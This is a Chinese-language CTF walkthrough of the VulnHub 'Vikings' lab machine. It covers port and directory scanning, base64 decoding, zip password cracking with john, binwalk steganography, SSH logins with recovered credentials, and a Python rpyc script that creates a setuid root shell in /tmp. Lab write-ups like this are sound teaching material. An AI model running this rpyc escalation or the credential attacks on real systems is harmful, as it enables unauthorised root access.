一、概要
靶机地址:192.168.56.105
攻击机地址:192.168.56.101
靶机下载地址:https://download.vulnhub.com/vikings/Vikings.ova
根据介绍,这是一台CTF类型的靶机,没有兔子洞,可以放心打
二、主机发现
arp-scan扫描一下局域网靶机的ip

三、信息收集
1、端口扫描
nmap脚本扫描一下
nmap -sS -A -T4 -p- 192.168.56.105

目标靶机开放了22端口ssh服务和80端口web服务
首先看一下web服务的内容
很简单的一个页面,就是一个目录

什么也没有

2、目录扫描
扫一下目录
使用gobuster扫描,指定字典/usr/share/dirb/wordlists/common.txt
默认的扫不出来什么东西,毕竟这是ctf机器

可以发现最后有一个war.txt文件
打开显示是一个目录

3、base64解码
打开这个目录是一大串base64编码

base64解码保存为一个文件,发现是个压缩包
curl http://192.168.56.105/site/war-is-over/ | base64 -d > test1

压缩包还有密码

4、密码爆破
爆破一下
fcrackzip爆不出来
使用zip2john先把压缩包信息提取出来
再用john指定rockyou.txt字典进行爆破
zip2john test1 > test2
john test2 --wordlist=/usr/share/wordlists/rockyou.txt

得到密码为ragnarok123
压缩包的内容是个图片

5、图片隐写
binwalk看一下是否有隐藏信息
binwalk -e king
里面还有个压缩包,压缩包里面是个user文件,内容是下面这样的
目测是一对账户密码
用户名:floki
密码:f@m0usboatbuilde7

四、渗透测试
1、ssh服务连接
ssh服务连接成功

2、关键信息
当前目录下有两个文件
原文:
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
I need to create this `boat` to find Ragnar
译文:
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
我是著名的造船师Floki。我们全力以赴地袭击了巴黎,但我们失败了。我们不知道战后Ragnar在哪里。他现在非常悲伤。我想向他道歉。
因为是我领导了所有的维京人。我需要找到他。他可以在任何地方。
我需要创造这艘“船”来找到Ragnar
原文:
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
译文:
#Printable字符是你的盟友。
#num = 第 29 个质数。
collatz-conjecture(num)

根据上面的信息我们可以了解到:
我们需要找到名为Ragnar的用户
然后他的密码可能就是下面这个num,但是num似乎是要用collatz-conjecture算出第29个质数(也就是109)
3、collatz猜想
网上有现成的小脚本,可以直接用
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
得到一串数字

4、解码(十进制转字符串)
使用这个网站进行解码比较好用
https://gchq.github.io/CyberChef/
十进制转字符串是这样的
109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1
mR)|>^/Gky[gz=\.F#j5P(
这个应该就是密码了

5、第二个用户登录成功
ssh登录成功

python写一个交互式shell
然后查看一下当前目录文件

6、FirstBlood
user.txt得到第一个flag

查看其他文件寻找关键信息
.profile里面有root权限执行的命令

7、利用rpyc提权
很明显这个东西是可以进行远程控制的

我们直接写个脚本,让它主动连过来,就可以达到提权的效果了
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('rm /tmp/rootshell')
os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
shell = conn.teleport(getshell)
shell()
直接运行脚本(注意使用python3)
/tmp目录下生成了rootshell文件

切换到/tmp目录下执行
./rootshell -p

拿到第二个flag
五、总结
1、目录扫描要灵活运用字典,尤其是这种CTF的靶机,默认字典大概率扫不出来什么东西
2、密码爆破可以使用fcrackzip,不行的话再去尝试zip2john和john字典爆破
3、binwalk善于查看图片等隐写内容
4、根据提示信息灵活编写和查找脚本以拿到关键信息
5、解码网站:https://gchq.github.io/CyberChef/
6、仔细查看当前用户的所有文件的信息,对sudo 等root权限操作敏感